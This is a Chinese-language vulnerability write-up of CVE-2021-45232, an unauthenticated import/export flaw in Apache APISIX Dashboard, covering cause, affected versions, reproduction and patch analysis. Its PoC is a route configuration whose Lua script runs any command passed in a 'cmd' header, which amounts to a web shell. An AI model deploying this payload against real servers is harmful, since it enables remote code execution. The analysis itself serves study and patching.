CVE-2021-45232
漏洞背景
是未授权访问的漏洞,允许攻击者在不登录APISIX DashBoard的情况下进行访问API接口/import。从而造成APISIX对应的容器的文件上传和下载。最终的话会因为这个这个漏洞导致RCE。其所在的端口为 9000
Manager API在gin框架的基础上 引入了 droplet框架,所有的API和鉴权中间件都是基于droplet框架开发的。但是有些API直接使用了框架gin的接口,从而绕过身份验证。 其中存在 import /export 两个接口是未授权可进行访问的 利用的思路:未授权接口可导入配置文件,其允许为用户自定义的函数,我们通过路由访问即可获取权限。
Gin框架:一种用于构建Web应用程序的轻量级Go语言框架,设计目标是速度和高性能。 Droplet框架:另外一个Web框架
这里存在未授权漏洞的API接口为
/export
/import
为什么会产生这样的漏洞? 因为在一次apisix dashboard(https://github.com/apache/apisix-dashboard)的更新当中,没有对其中的路由设置好权限,所造成的。 影响的版本 Apache APISIX Dashboard 2.7 - 2.10 版本
复现
直接访问 路由
/apisix/admin/migrate/import
#进行引入配置
/apisix/admin/migrate/export
#导出相关的配置
poc
eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
//代码执行
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}
对补丁进行分析
https://github.com/apache/apisix-dashboard/commit/b565f7cd090e9ee2043fbb726fbaae01737f83cd
- 发现在测试用例当中,新增了对于
"/apisix/admin/migrate/import"
"/apisix/admin/migrate/export"
这两个路由的测试
- 删除了对于droplet的验证,新增了关于gin的jwt认证
- 删除了关于请求相关路由的回应,在authentication 当中
- 在route.go 当中添加了对于路由权限的校验
疑问
apisix admin DashBoard 和 apisix之间的关系是什么?
Apache APISIX Dashboard和Apache APISIX是两个独立的服务, 前者提供了一个前端页面可以用来管理后者,而管理方式是通过etcd 而非后者的admin api。